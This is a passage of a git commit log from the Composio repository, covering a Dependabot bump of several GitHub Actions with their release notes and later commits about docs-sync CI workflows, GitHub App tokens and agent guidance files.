href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.151">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.151</a></p> <h2>v1.0.150</h2> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/anthropics/claude-code-action/commit/a92e7c70a4da9793dc164451d829089dc057a464"><code>a92e7c7</code></a> chore: bump Claude Code to 2.1.195 and Agent SDK to 0.3.195</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/f8076dc00886157bd2e1bd828246d01274b9cb62"><code>f8076dc</code></a> fix: bound app token revocation cleanup (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1437">#1437</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/521136812280ae7ef256e06045655b9da02793f0"><code>5211368</code></a> chore: bump Claude Code to 2.1.193 and Agent SDK to 0.3.193</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/428971d2ecd6e3a7cb0ee0da2a3a8b33fdb3678d"><code>428971d</code></a> chore: bump Claude Code to 2.1.191 and Agent SDK to 0.3.191</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/74eedf1a1892082d619c3edb66b9402da6520e7f"><code>74eedf1</code></a> chore: bump Claude Code to 2.1.190 and Agent SDK to 0.3.190</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/80b31826338489861333dc17217865dfe8085cdc"><code>80b3182</code></a> chore: bump Claude Code to 2.1.187 and Agent SDK to 0.3.187</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/360be9c8fc5d80cb33661e0ffd33dcef4c7155aa"><code>360be9c</code></a> fix: allow @ in branch names (valid per git-check-ref-format) (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1411">#1411</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/e452eb9dce5f3ab14b90cf9386247fbcb3c4ac92"><code>e452eb9</code></a> test: cover format-turns content-type fallbacks and system_other handling (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1">#1</a>...</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/6b8063043eb8bc14e8448185a12d6d9dcf07ce55"><code>6b80630</code></a> fix: filter PR reviews and inline review comments to trigger time (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1385">#1385</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/30544b674398ee15c84819bd87caf8a87e8c7b55"><code>30544b6</code></a> chore: bump Claude Code to 2.1.186 and Agent SDK to 0.3.186</li> <li>Additional commits viewable in <a href="https://github.com/anthropics/claude-code-action/compare/fbda2eb1bdc90d319b8d853f5deb53bca199a7c1...a92e7c70a4da9793dc164451d829089dc057a464">compare view</a></li> </ul> </details> <br /> Updates `openai/codex-action` from 1.8 to 1.9 <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/openai/codex-action/blob/main/CHANGELOG.md">openai/codex-action's changelog</a>.</em></p> <blockquote> <h1>codex-action Changelog</h1> <h2><a href="https://github.com/openai/codex-action/tree/v1.9">v1.9</a> (2026-06-22)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/85">#85</a> update the internal <code>setup-node</code> pin to <code>v6.3.0</code></li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.8">v1.8</a> (2026-04-29)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/91">#91</a> tighten what bots are allowed</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.7">v1.7</a> (2026-04-24)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/89">#89</a> restrict bot permission bypass</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.6">v1.6</a> (2026-03-16)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/77">#77</a> enable GitHub-hosted Linux bubblewrap support</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.5">v1.5</a> (2026-03-16)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/74">#74</a> harden shell interpolation in action workflows</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.4">v1.4</a> (2025-11-19)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/58">#58</a> revert <a href="https://redirect.github.com/openai/codex-action/issues/56">#56</a> and use the latest stable version of Codex CLI again</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.3">v1.3</a> (2025-11-19)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/56">#56</a> temporarily set the default version of Codex CLI to <code>0.58.0</code></li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.2">v1.2</a> (2025-11-07)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/52">#52</a> add <code>baseUrl</code> to <code>Octokit</code> constructor, if appropriate, for GHE</li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.1">v1.1</a> (2025-11-05)</h2> <ul> <li><a href="https://redirect.github.com/openai/codex-action/pull/47">#47</a> added support for Azure via the new <code>responses-api-endpoint</code> parameter</li> <li><a href="https://redirect.github.com/openai/codex-action/pull/36">#36</a> added <code>effort</code> parameter</li> <li><a href="https://redirect.github.com/openai/codex-action/pull/45">#45</a> pin the commit hash of the <code>actions/setup-node</code> action used by <code>openai/codex-action</code></li> </ul> <h2><a href="https://github.com/openai/codex-action/tree/v1.0">v1.0</a> (2025-10-06)</h2> <ul> <li>Initial release (OpenAI DevDay 2025!)</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/openai/codex-action/commit/10cb888d2ed3b99867f7e7ccff174a861a75aeb6"><code>10cb888</code></a> Update the internal setup-node pin to v6.3.0 (<a href="https://redirect.github.com/openai/codex-action/issues/85">#85</a>)</li> <li><a href="https://github.com/openai/codex-action/commit/9cdb6f3861cdefafeeaec70dfb42687be5ca62d3"><code>9cdb6f3</code></a> docs: clarify PR-controlled project instructions (<a href="https://redirect.github.com/openai/codex-action/issues/101">#101</a>)</li> <li>See full diff in <a href="https://github.com/openai/codex-action/compare/e0fdf01220eb9a88167c4898839d273e3f2609d1...10cb888d2ed3b99867f7e7ccff174a861a75aeb6">compare view</a></li> </ul> </details> <br /> Updates `anthropics/claude-code-action/base-action` from 1.0.140 to 1.0.159 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/anthropics/claude-code-action/releases">anthropics/claude-code-action/base-action's releases</a>.</em></p> <blockquote> <h2>v1.0.159</h2> <h2>What's Changed</h2> <ul> <li>fix: bound app token revocation cleanup by <a href="https://github.com/tarunag10"><code>@tarunag10</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1437">anthropics/claude-code-action#1437</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/tarunag10"><code>@tarunag10</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1437">anthropics/claude-code-action#1437</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.159">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.159</a></p> <h2>v1.0.158</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.158">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.158</a></p> <h2>v1.0.157</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.157">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.157</a></p> <h2>v1.0.156</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.156">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.156</a></p> <h2>v1.0.155</h2> <h2>What's Changed</h2> <ul> <li>fix: filter PR reviews and inline review comments to trigger time by <a href="https://github.com/EffortlessSteven"><code>@EffortlessSteven</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1385">anthropics/claude-code-action#1385</a></li> <li>test: cover format-turns content-type fallbacks and system_other handling by <a href="https://github.com/farmer-data"><code>@farmer-data</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1421">anthropics/claude-code-action#1421</a></li> <li>fix: allow @ in branch names (valid per git-check-ref-format) by <a href="https://github.com/bellalMohamed"><code>@bellalMohamed</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1411">anthropics/claude-code-action#1411</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/EffortlessSteven"><code>@EffortlessSteven</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1385">anthropics/claude-code-action#1385</a></li> <li><a href="https://github.com/farmer-data"><code>@farmer-data</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1421">anthropics/claude-code-action#1421</a></li> <li><a href="https://github.com/bellalMohamed"><code>@bellalMohamed</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1411">anthropics/claude-code-action#1411</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.155">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.155</a></p> <h2>v1.0.154</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.154">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.154</a></p> <h2>v1.0.153</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.153">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.153</a></p> <h2>v1.0.152</h2> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.152">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.152</a></p> <h2>v1.0.151</h2> <h2>What's Changed</h2> <ul> <li>fix: skip workflow validation token exchange failures by <a href="https://github.com/Ryanoonan"><code>@Ryanoonan</code></a> in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1417">anthropics/claude-code-action#1417</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/Ryanoonan"><code>@Ryanoonan</code></a> made their first contribution in <a href="https://redirect.github.com/anthropics/claude-code-action/pull/1417">anthropics/claude-code-action#1417</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/anthropics/claude-code-action/compare/v1...v1.0.151">https://github.com/anthropics/claude-code-action/compare/v1...v1.0.151</a></p> <h2>v1.0.150</h2> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/anthropics/claude-code-action/commit/a92e7c70a4da9793dc164451d829089dc057a464"><code>a92e7c7</code></a> chore: bump Claude Code to 2.1.195 and Agent SDK to 0.3.195</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/f8076dc00886157bd2e1bd828246d01274b9cb62"><code>f8076dc</code></a> fix: bound app token revocation cleanup (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1437">#1437</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/521136812280ae7ef256e06045655b9da02793f0"><code>5211368</code></a> chore: bump Claude Code to 2.1.193 and Agent SDK to 0.3.193</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/428971d2ecd6e3a7cb0ee0da2a3a8b33fdb3678d"><code>428971d</code></a> chore: bump Claude Code to 2.1.191 and Agent SDK to 0.3.191</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/74eedf1a1892082d619c3edb66b9402da6520e7f"><code>74eedf1</code></a> chore: bump Claude Code to 2.1.190 and Agent SDK to 0.3.190</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/80b31826338489861333dc17217865dfe8085cdc"><code>80b3182</code></a> chore: bump Claude Code to 2.1.187 and Agent SDK to 0.3.187</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/360be9c8fc5d80cb33661e0ffd33dcef4c7155aa"><code>360be9c</code></a> fix: allow @ in branch names (valid per git-check-ref-format) (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1411">#1411</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/e452eb9dce5f3ab14b90cf9386247fbcb3c4ac92"><code>e452eb9</code></a> test: cover format-turns content-type fallbacks and system_other handling (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1">#1</a>...</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/6b8063043eb8bc14e8448185a12d6d9dcf07ce55"><code>6b80630</code></a> fix: filter PR reviews and inline review comments to trigger time (<a href="https://redirect.github.com/anthropics/claude-code-action/issues/1385">#1385</a>)</li> <li><a href="https://github.com/anthropics/claude-code-action/commit/30544b674398ee15c84819bd87caf8a87e8c7b55"><code>30544b6</code></a> chore: bump Claude Code to 2.1.186 and Agent SDK to 0.3.186</li> <li>Additional commits viewable in <a href="https://github.com/anthropics/claude-code-action/compare/fbda2eb1bdc90d319b8d853f5deb53bca199a7c1...a92e7c70a4da9793dc164451d829089dc057a464">compare view</a></li> </ul> </details> <br /> Updates `actions/cache` from 5.0.5 to 6.1.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/actions/cache/releases">actions/cache's releases</a>.</em></p> <blockquote> <h2>v6.1.0</h2> <h2>What's Changed</h2> <ul> <li>Bump <code>@actions/cache</code> to v6.1.0 - handle read-only cache access by <a href="https://github.com/jasongin"><code>@jasongin</code></a> in <a href="https://redirect.github.com/actions/cache/pull/1768">actions/cache#1768</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/actions/cache/compare/v6...v6.1.0">https://github.com/actions/cache/compare/v6...v6.1.0</a></p> <h2>v6.0.0</h2> <h2>What's Changed</h2> <ul> <li>Update packages, migrate to ESM by <a href="https://github.com/Samirat"><code>@Samirat</code></a> in <a href="https://redirect.github.com/actions/cache/pull/1760">actions/cache#1760</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/actions/cache/compare/v5...v6.0.0">https://github.com/actions/cache/compare/v5...v6.0.0</a></p> <h2>v5.1.0</h2> <h2>What's Changed</h2> <ul> <li>Bump <code>@actions/cache</code> to v5.1.0 - handle read-only cache access by <a href="https://github.com/jasongin"><code>@jasongin</code></a> in <a href="https://redirect.github.com/actions/cache/pull/1775">actions/cache#1775</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/actions/cache/compare/v5...v5.1.0">https://github.com/actions/cache/compare/v5...v5.1.0</a></p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/actions/cache/blob/main/RELEASES.md">actions/cache's changelog</a>.</em></p> <blockquote> <h1>Releases</h1> <h2>How to prepare a release</h2> <blockquote> <p>[!NOTE] Relevant for maintainers with write access only.</p> </blockquote> <ol> <li>Switch to a new branch from <code>main</code>.</li> <li>Run <code>npm test</code> to ensure all tests are passing.</li> <li>Update the version in <a href="https://github.com/actions/cache/blob/main/package.json"><code>https://github.com/actions/cache/blob/main/package.json</code></a>.</li> <li>Run <code>npm run build</code> to update the compiled files.</li> <li>Update this <a href="https://github.com/actions/cache/blob/main/RELEASES.md"><code>https://github.com/actions/cache/blob/main/RELEASES.md</code></a> with the new version and changes in the <code>## Changelog</code> section.</li> <li>Run <code>licensed cache</code> to update the license report.</li> <li>Run <code>licensed status</code> and resolve any warnings by updating the <a href="https://github.com/actions/cache/blob/main/.licensed.yml"><code>https://github.com/actions/cache/blob/main/.licensed.yml</code></a> file with the exceptions.</li> <li>Commit your changes and push your branch upstream.</li> <li>Open a pull request against <code>main</code> and get it reviewed and merged.</li> <li>Draft a new release <a href="https://github.com/actions/cache/releases">https://github.com/actions/cache/releases</a> use the same version number used in <code>package.json</code> <ol> <li>Create a new tag with the version number.</li> <li>Auto generate release notes and update them to match the changes you made in <code>RELEASES.md</code>.</li> <li>Toggle the set as the latest release option.</li> <li>Publish the release.</li> </ol> </li> <li>Navigate to <a href="https://github.com/actions/cache/actions/workflows/release-new-action-version.yml">https://github.com/actions/cache/actions/workflows/release-new-action-version.yml</a> <ol> <li>There should be a workflow run queued with the same version number.</li> <li>Approve the run to publish the new version and update the major tags for this action.</li> </ol> </li> </ol> <h2>Changelog</h2> <h3>6.1.0</h3> <ul> <li>Bump <code>@actions/cache</code> to v6.1.0 to pick up <a href="https://redirect.github.com/actions/toolkit/pull/2435">actions/toolkit#2435 Handle cache write error due to read-only token</a></li> <li>Switch redundant "Cache save failed" warning to debug log in save-only</li> </ul> <h3>6.0.0</h3> <ul> <li>Updated <code>@actions/cache</code> to ^6.0.1, <code>@actions/core</code> to ^3.0.1, <code>@actions/exec</code> to ^3.0.0, <code>@actions/io</code> to ^3.0.2</li> <li>Migrated to ESM module system</li> <li>Upgraded Jest to v30 and test infrastructure to be ESM compatible</li> </ul> <h3>5.0.4</h3> <ul> <li>Bump <code>minimatch</code> to v3.1.5 (fixes ReDoS via globstar patterns)</li> <li>Bump <code>undici</code> to v6.24.1 (WebSocket decompression bomb protection, header validation fixes)</li> <li>Bump <code>fast-xml-parser</code> to v5.5.6</li> </ul> <h3>5.0.3</h3> <ul> <li>Bump <code>@actions/cache</code> to v5.0.5 (Resolves: <a href="https://github.com/actions/cache/security/dependabot/33">https://github.com/actions/cache/security/dependabot/33</a>)</li> <li>Bump <code>@actions/core</code> to v2.0.3</li> </ul> <h3>5.0.2</h3> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/actions/cache/commit/55cc8345863c7cc4c66a329aec7e433d2d1c52a9"><code>55cc834</code></a> Merge pull request <a href="https://redirect.github.com/actions/cache/issues/1768">#1768</a> from jasongin/readonly-cache</li> <li><a href="https://github.com/actions/cache/commit/d8cd72f230726cdf4457ebb61ec1b593a8d12337"><code>d8cd72f</code></a> Bump <code>@actions/cache</code> to v6.1.0 - handle cache write error due to RO token</li> <li><a href="https://github.com/actions/cache/commit/2c8a9bd7457de244a408f35966fab2fb45fda9c8"><code>2c8a9bd</code></a> Merge pull request <a href="https://redirect.github.com/actions/cache/issues/1760">#1760</a> from actions/samirat/esm_migration_and_package_update</li> <li><a href="https://github.com/actions/cache/commit/e9b91fdc3fea7d79165fceb79042ef45c2d51023"><code>e9b91fd</code></a> Prettier fixes</li> <li><a href="https://github.com/actions/cache/commit/e4884b8ff7f92ef6b52c79eda480bbc86e685adb"><code>e4884b8</code></a> Rebuild dist</li> <li><a href="https://github.com/actions/cache/commit/10baf0191a3c426ea0fa4a3253a5c04233b6e18f"><code>10baf01</code></a> Fixed licenses</li> <li><a href="https://github.com/actions/cache/commit/e39b386c9004d72a15d864ade8c0b3a702d47a37"><code>e39b386</code></a> Fix test mock return order</li> <li><a href="https://github.com/actions/cache/commit/b6928203372a8571ff984c0c883ef3a1adfb0c06"><code>b692820</code></a> PR feedback</li> <li><a href="https://github.com/actions/cache/commit/60749128a44d25d3c520a489e576380cf00ff3f1"><code>6074912</code></a> Rebuild dist bundles as ESM to match type:module</li> <li><a href="https://github.com/actions/cache/commit/5a912e8b4af820fa082a0e75cfd2c782f8fbfe0e"><code>5a912e8</code></a> Fix lint and jest issues</li> <li>Additional commits viewable in <a href="https://github.com/actions/cache/compare/27d5ce7f107fe9357f9df03efb73ab90386fccae...55cc8345863c7cc4c66a329aec7e433d2d1c52a9">compare view</a></li> </ul> </details> <br /> Updates `actions/setup-python` from 6.2.0 to 6.3.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/actions/setup-python/releases">actions/setup-python's releases</a>.</em></p> <blockquote> <h2>v6.3.0</h2> <h2>What's Changed</h2> <h3>Enhancement</h3> <ul> <li>Add RHEL support and include Linux distro in cache keys by <a href="https://github.com/priyagupta108"><code>@priyagupta108</code></a> in <a href="https://redirect.github.com/actions/setup-python/pull/1323">actions/setup-python#1323</a></li> <li>Fix pip cache error handling on Windows by <a href="https://github.com/priyagupta108"><code>@priyagupta108</code></a> in <a href="https://redirect.github.com/actions/setup-python/pull/1040">actions/setup-python#1040</a></li> </ul> <h3>Dependency update</h3> <ul> <li>Upgrade minimatch from 3.1.2 to 3.1.5 by <a href="https://github.com/dependabot"><code>@dependabot</code></a> in <a href="https://redirect.github.com/actions/setup-python/pull/1281">actions/setup-python#1281</a></li> <li>Upgrade actions dependencies by <a href="https://github.com/gowridurgad"><code>@gowridurgad</code></a> with <a href="https://github.com/Copilot"><code>@Copilot</code></a> in <a href="https://redirect.github.com/actions/setup-python/pull/1303">actions/setup-python#1303</a></li> <li>Upgrade <code>@actions/cache</code> to 5.1.0, log cache write denied by <a href="https://github.com/jasongin"><code>@jasongin</code></a> in <a href="https://redirect.github.com/actions/setup-python/pull/1324">actions/setup-python#1324</a></li> <li>Upgrade dependency versions and test workflow configuration by <a href="https://github.com/HarithaVattikuti"><code>@HarithaVattikuti</code></a> in <a href="https://redirect.github.com/actions/setup-python/pull/1322">actions/setup-python#1322</a></li> </ul> <h3>Documentation</h3> <ul> <li>Update advanced-usage.md by <a href="https://github.com/Dunky-Z"><code>@Dunky-Z</code></a> in <a href="https://redirect.github.com/actions/setup-python/pull/811">actions/setup-python#811</a></li> </ul> <h2>New Contributors</h2> <ul> <li><a href="https://github.com/gowridurgad"><code>@gowridurgad</code></a> with <a href="https://github.com/Copilot"><code>@Copilot</code></a> made their first contribution in <a href="https://redirect.github.com/actions/setup-python/pull/1303">actions/setup-python#1303</a></li> <li><a href="https://github.com/jasongin"><code>@jasongin</code></a> made their first contribution in <a href="https://redirect.github.com/actions/setup-python/pull/1324">actions/setup-python#1324</a></li> <li><a href="https://github.com/Dunky-Z"><code>@Dunky-Z</code></a> made their first contribution in <a href="https://redirect.github.com/actions/setup-python/pull/811">actions/setup-python#811</a></li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/actions/setup-python/compare/v6...v6.3.0">https://github.com/actions/setup-python/compare/v6...v6.3.0</a></p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/actions/setup-python/commit/ece7cb06caefa5fff74198d8649806c4678c61a1"><code>ece7cb0</code></a> Fix pip cache error handling on Windows. (<a href="https://redirect.github.com/actions/setup-python/issues/1040">#1040</a>)</li> <li><a href="https://github.com/actions/setup-python/commit/1d18d7af5f767c1259ede05a0a5bcc30f3dcf1cf"><code>1d18d7a</code></a> Update advanced-usage.md (<a href="https://redirect.github.com/actions/setup-python/issues/811">#811</a>)</li> <li><a href="https://github.com/actions/setup-python/commit/d2b357a6a3a3687dd6781a416c0d24fcfd68660e"><code>d2b357a</code></a> Update dependency versions and test workflow configuration (<a href="https://redirect.github.com/actions/setup-python/issues/1322">#1322</a>)</li> <li><a href="https://github.com/actions/setup-python/commit/8f639b1e75c1048640734b2bb46e22cecf136982"><code>8f639b1</code></a> Merge pull request <a href="https://redirect.github.com/actions/setup-python/issues/1324">#1324</a> from jasongin/update-actions-cache-5.1.0</li> <li><a href="https://github.com/actions/setup-python/commit/6731c2ba87f530c26324d128c8fdd53499a4d4b0"><code>6731c2b</code></a> Resolve high-severity audit issues</li> <li><a href="https://github.com/actions/setup-python/commit/0cb1a84326b90186fcd211036c65b42819794c87"><code>0cb1a84</code></a> Add RHEL support and include Linux distro in cache keys (<a href="https://redirect.github.com/actions/setup-python/issues/1323">#1323</a>)</li> <li><a href="https://github.com/actions/setup-python/commit/dc6eab6194394e0119523369788b507096f923e2"><code>dc6eab6</code></a> Update dist</li> <li><a href="https://github.com/actions/setup-python/commit/6f4b74bfa2f520a380a620de3615c0dac427f4d3"><code>6f4b74b</code></a> Strict equality</li> <li><a href="https://github.com/actions/setup-python/commit/fa8bde1a9cc6347d06948d66bcd68c598b79eaea"><code>fa8bde1</code></a> Bump <code>@actions/cache</code> to 5.1.0, log cache write denied</li> <li><a href="https://github.com/actions/setup-python/commit/c8813ba1bc76ebf779b911ad8ffccbf2e449cb48"><code>c8813ba</code></a> Upgrade <a href="https://github.com/actions"><code>@actions</code></a> dependencies and update licenses (<a href="https://redirect.github.com/actions/setup-python/issues/1303">#1303</a>)</li> <li>Additional commits viewable in <a href="https://github.com/actions/setup-python/compare/a309ff8b426b58ec0e2a45f0f869d46889d02405...ece7cb06caefa5fff74198d8649806c4678c61a1">compare view</a></li> </ul> </details> <br /> --------- Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
Alberto Schiabel
|
aede04995d |
ci(docs): keep docs @composio/* deps current on each SDK sync (#3709)
## Summary The `Docs - Sync guides on SDK changes` workflow updates docs **content** when SDK source changes on `next`, but it never touched `docs/package.json`. Because the docs site is a standalone Bun app **outside** the pnpm workspace — it pins *published* `@composio/*` versions rather than linking workspace source — those pins silently drifted behind the SDK. That drift is what produced the recent breakage in #3705: docs still pinned `@composio/core@0.9.1` while `delete()` shipped in `0.13.1`, so the Twoslash type-check failed and the sync bot worked around it by casting a fake `delete()` onto the session type. ## What this changes In `docs.sdk-change-sync.yml` (gated on the same `has_changes` condition as the rest of the job): - **New step** sets up Node/Bun (via the shared `setup-node-pnpm-bun` action) and realigns every `@composio/*` dependency in `docs/package.json` to its **latest published** release (`npm view <pkg> version` → `^<latest>`), then refreshes `bun.lock` with `bun install`. It scans both `dependencies` and `devDependencies`, is idempotent (no diff → no `bun install`), and warns rather than fails if a version can't be resolved. - **`add-paths`** now includes `docs/package.json` and `docs/bun.lock` so the realignment lands in the PR. - **Content prompt** gains a rule: don't add casts/assertions to compile against an API missing from the published package — document released behavior and let the Twoslash build flag the gap. ## Why pin to *published* (not workspace source) Docs deliberately target what users can `npm install`. Twoslash snippets and the runnable example apps are a contract that the documented API exists in a real release. The PR's existing Twoslash build (`docs-typescript-check.yml`) remains the gate: if a documented feature isn't published yet, the build fails loudly instead of being silently worked around. ## Notes - Complementary to #3705, which fixes the *current* stale pins by hand; this prevents the drift from recurring. - Validated the bump shell logic locally under `bash` (matching the runner): correctly resolves all 10 `@composio/*` devDeps and is a no-op when already current. |
||
|
Alberto Schiabel
|
9bd600a9a2 |
fix(docs): use app token for SDK docs sync PRs (#3706)
This PR: - fixes the `Docs - Sync guides on SDK changes` workflow failure from https://github.com/ComposioHQ/composio/actions/runs/28332657149/job/83933412114 - mints the existing release-bot GitHub App token before checkout - uses that token for checkout, `peter-evans/create-pull-request`, and reviewer requests - keeps reviewer assignment non-blocking so a successful docs PR is not failed by reviewer-request edge cases - verifies the workflow file with `ruby -e 'require "yaml"; YAML.load_file(ARGV.fetch(0)); puts "yaml ok"' .github/workflows/docs.sdk-change-sync.yml`, `mise exec -- pnpm exec prettier --check .github/workflows/docs.sdk-change-sync.yml`, and `git diff --check -- .github/workflows/docs.sdk-change-sync.yml` |
||
|
Alberto Schiabel
|
bfec5f4789 |
chore(ci): use GitHub App client ID input (#3707)
This PR: - replaces the deprecated `app-id` input for `actions/create-github-app-token` with `client-id` - reads the public release bot Client ID from the `RELEASE_BOT_CLIENT_ID` repo variable - keeps `RELEASE_BOT_APP_PRIVATE_KEY` as the only GitHub App secret used by these token steps - updates token generation in docs data sync, SDK reference generation, and TypeScript release workflows - pairs with the one-line update already pushed to https://github.com/ComposioHQ/composio/pull/3706 for the SDK docs sync workflow ## Verification - `rg -n 'app-id:' .github || true` - `rg -n 'client-id:' .github/workflows` - parsed edited workflow YAML with Ruby/Psych - confirmed `RELEASE_BOT_CLIENT_ID` exists as a repo variable - workflow-dispatch smoke run for #3706 passed with `client-id` and no `app-id` deprecation warning: https://github.com/ComposioHQ/composio/actions/runs/28358680527 |
||
|
jkomyno
|
008316ac18 |
Revert "chore(ci): use GitHub App client ID input"
This reverts commit
|
||
|
jkomyno
|
7ef3a786d4 | chore(ci): use GitHub App client ID input | ||
|
Alberto Schiabel
|
956f9be9b4 |
chore(agents): normalize repo guidance skills (#3666)
This PR: - replaces the duplicated repo-local skill set with the requested canonical `.agents/skills` taxonomy and short router `SKILL.md` files backed by first-level references - makes `.claude/skills` a compatibility symlink to `.agents/skills` and removes hand-maintained Claude skill/rule copies - moves docs agent guidance and decisions into neutral `docs/agent-guidance/` and `docs/decisions/`, with `docs/CLAUDE.md` reduced to a shim - retires CLI Cursor rules after migrating CLI design, Effect source, and client-cache sync guidance into `AGENTS.md` and `cli-command` - adds nested `AGENTS.md` files for TS, core, providers, e2e, Python, Python providers, and docs - adds `pnpm validate:agent-skills` to validate skill frontmatter, taxonomy, references, symlink invariants, stale paths, and command names - implements missing Python `tst` and `snt` nox sessions that existing Makefile targets already exposed - no changeset: repository guidance/tooling only, no published SDK package behavior ## Verification - `pnpm validate:agent-skills` -> `Validated 14 canonical agent skills and guidance invariants.` - `for skill in .agents/skills/*; do python /Users/jkomyno/.codex/skills/.system/skill-creator/scripts/quick_validate.py "$skill" || exit 1; done` -> 14x `Skill is valid!` - `pnpm --dir ts/packages/cli validate:skills` -> `Validated composio-cli skill builds for stable and beta.` - `cd python && uv run nox --list` -> includes `tst` and `snt` - `cd python && uv run nox -s snt` -> 18 passed - `cd python && uv run nox -s tst -- tests/test_imports.py` -> 8 passed - `git diff --check` / `git diff --cached --check` -> clean - stale reference search for retired docs/Claude/Cursor paths -> no matches ## Forward Tests - TypeScript core bug: loaded `bug-fixing`, `typescript-sdk`, `typescript-testing`; found correct root/ts/core `AGENTS.md` route. - Python provider: loaded `python-providers`, `python-testing`; found missing nox sessions, fixed here. - CLI command: loaded `cli-command`; found recording/changeset wording gaps, fixed here. - Cross-SDK drift: loaded `cross-sdk-parity`; again found Python nox drift, fixed here. - Docs + decision: loaded `docs-decisions`; found decision template/index and Twoslash path gaps, fixed here. ## Notes The first normal `git commit` attempt hit a lint-staged/Git stash limitation while replacing 